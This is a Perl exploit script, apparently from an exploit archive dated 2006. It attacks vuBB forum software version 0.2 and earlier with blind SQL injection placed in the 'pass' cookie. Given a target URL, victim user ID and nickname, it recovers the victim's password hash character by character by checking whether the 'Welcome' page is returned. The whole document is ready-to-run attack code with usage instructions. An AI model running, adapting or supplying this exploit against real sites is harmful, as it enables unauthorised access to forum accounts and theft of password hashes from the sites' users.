#!/usr/bin/perl print q{ ---------------------------------------------------------------------- vuBB <=0.2 Final Remote SQL Injection (cookies) Exploit exploit discovered and coded by KingOfSKa https://contropotere.netsons.org ---------------------------------------------------------------------- }; use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[1]) {$ARGV[1] = '1';} my $path = $ARGV[0] . '/index.php'; my $user = $ARGV[1]; # userid to jack my $uname = $ARGV[2]; my $answer = ""; my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); if (!$ARGV[2]) { print q{ Usage: perl vubb.pl FULL_URL_TO_VBB VICTIM_USER_ID USER_NICKNAME perl vubb.pl http://www.somesite.com/vubb 1 administrator }; exit(); } print "[URL:] $path\r\n"; print "[USERID:] $user\r\n"; print "[USERNAME:] $user\r\n"; print "Starting connection...\r\n"; my $j = 0 ; for( $i=1; $i < 33; $i++ ) { for( $j=1; $j < 17; $j++ ) { $current = $charset[$j]; my $sql = "99%27+OR+(id%3d".$user."+AND+MID(pass,".$i.",1)%3d%27".$charset[$j]."%27)/*"; my @cookie = ('Cookie' => "user=kingofska; pass=$sql;"); my $res = $ua->get($path, @cookie); $answer = $res->content; #print $answer; #Just for debugging... if ($answer =~/(.*)Welcome $uname(.*)/){$outputs.= $current; print "$i/32 found...\r\n"; } } } if ( length($outputs) < 1 ) { print "Not Exploitable!\r\n"; exit; } print "User Hash is: $outputs \r\n"; exit; # milw0rm.com [2006-03-01]